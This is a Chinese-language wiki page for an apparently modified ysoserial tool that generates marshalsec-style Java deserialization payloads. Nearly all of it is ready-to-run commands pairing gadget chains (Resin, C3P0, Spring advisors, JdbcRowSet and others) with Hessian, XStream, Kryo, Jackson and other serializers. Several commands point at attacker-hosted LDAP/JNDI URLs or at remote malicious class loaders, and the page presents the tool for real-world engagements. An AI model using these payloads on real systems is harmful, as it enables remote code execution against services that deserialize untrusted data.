4

3、marshalsec output

炁 edited this page 2024-10-10 17:39:39 +08:00

Table of Contents

• 可选择的负载
• 参数
• 测试用例

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

支持如 marshalsec 一样，生成各种载荷，来快速应对实战

可选择的负载

options.addOption("he1", "Hessian1", false, "Hessian1 Output");
options.addOption("he2", "Hessian2", false, "Hessian2 Output");
options.addOption("xs", "XStream", false, "Xstream Output");
options.addOption("kryo", "Kryo", false, "Kryo Output");
options.addOption("jy", "JYaml", false, "JYaml Output");
options.addOption("js","JsonIO", false, "JsonIO Output");
options.addOption("yb","YamlBeans", false, "YamlBeans Output");
options.addOption("ca", "Castor", false, "Castor Output");
options.addOption("jk", "Jackson", false, "Jackson Output");

参数

参数类型	例子
命令执行	/usr/bin/gedit
远程加载恶意类	http://127.0.0.1:8080/ExecObject
JndiUrl	ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv
service_codebase	http://localhost:8080/

具体gadgets需要的参数以及参数含义参考：

marshalsec.pdf

测试用例

Hessian1

java -jar ysoserial-[version].jar -y -g Resin -p http://127.0.0.1:8080/ExecObject -he1 
java -jar ysoserial-[version].jar -y -g SpringAbstractBeanFactoryPointcutAdvisor -p http://127.0.0.1:8080/ExecObject -he1 
java -jar ysoserial-[version].jar -y -g SpringPartiallyComparableAdvisorHolder -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -he1
java -jar ysoserial-[version].jar -y -g ROMEJDBC -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -he1
java -jar ysoserial-[version].jar -y -g Xbean -p http://127.0.0.1:8080/ExecObject -he1

Hessian2

java -jar ysoserial-[version].jar -y -g Resin -p http://127.0.0.1:8080/ExecObject -he2
java -jar ysoserial-[version].jar -y -g SpringAbstractBeanFactoryPointcutAdvisor -p http://127.0.0.1:8080/ExecObject -he2
java -jar ysoserial-[version].jar -y -g SpringPartiallyComparableAdvisorHolder -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -he2
java -jar ysoserial-[version].jar -y -g ROMEJDBC -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -he2
java -jar ysoserial-[version].jar -y -g Xbean -p http://127.0.0.1:8080/ExecObject -he2

XStream

java -jar ysoserial-[version].jar -y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -xs
java -jar ysoserial-[version].jar -y -g SpringPartiallyComparableAdvisorHolder -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -xs
java -jar ysoserial-[version].jar -y -g Resin -p http://127.0.0.1:8080/ExecObject  -xs
java -jar ysoserial-[version].jar -y -g XBean -p 'http://127.0.0.1:8080/ExecObject'  -xs
java -jar ysoserial-[version].jar -y -g LazySearchEnumeration -p http://127.0.0.1:8080/ExecObject  -xs
java -jar ysoserial-[version].jar -y -g BindingEnumeration -p http://127.0.0.1:8080/ExecObject  -xs
java -jar ysoserial-[version].jar -y -g CommonsConfiguration -p http://127.0.0.1:8080/ExecObject -xs
java -jar ysoserial-[version].jar -y -g ImageIO -p /usr/bin/gedit -xs

Kryo

支持的gadgets：Rome, SpringPartiallyComparableAdvisorHolder, Groovy, Resin, LazySearchEnumeration,BindingEnumeration, ServiceLoader, ImageIO, XBean

-y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -kryo

JYaml

java -jar ysoserial-[version].jar -y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jy
java -jar ysoserial-[version].jar -y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy

JsonIO

java -jar ysoserial-[version].jar -y -g XBean  -p http://127.0.0.1:8080/ExecObject -js
java -jar ysoserial-[version].jar -y -g LazySearchEnumeration  -p http://127.0.0.1:8080/ExecObject -js
java -jar ysoserial-[version].jar -y -g Resin  -p http://127.0.0.1:8080/ExecObject -js
java -jar ysoserial-[version].jar -y -g Groovy  -p /usr/bin/gedit -js
java -jar ysoserial-[version].jar -y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -js
java -jar ysoserial-[version].jar -y -g Rome  -p /usr/bin/gedit -js

YamlBeans

java -jar ysoserial-[version].jar -y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -yb

Castor

java -jar ysoserial-[version].jar -y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -ca
java -jar ysoserial-[version].jar -y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -ca

Jackson

java -jar ysoserial-[version].jar -y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
java -jar ysoserial-[version].jar -y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk
java -jar ysoserial-[version].jar -y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -jk
java -jar ysoserial-[version].jar -y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
java -jar ysoserial-[version].jar -y -g SpringPropertyPathFactory -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk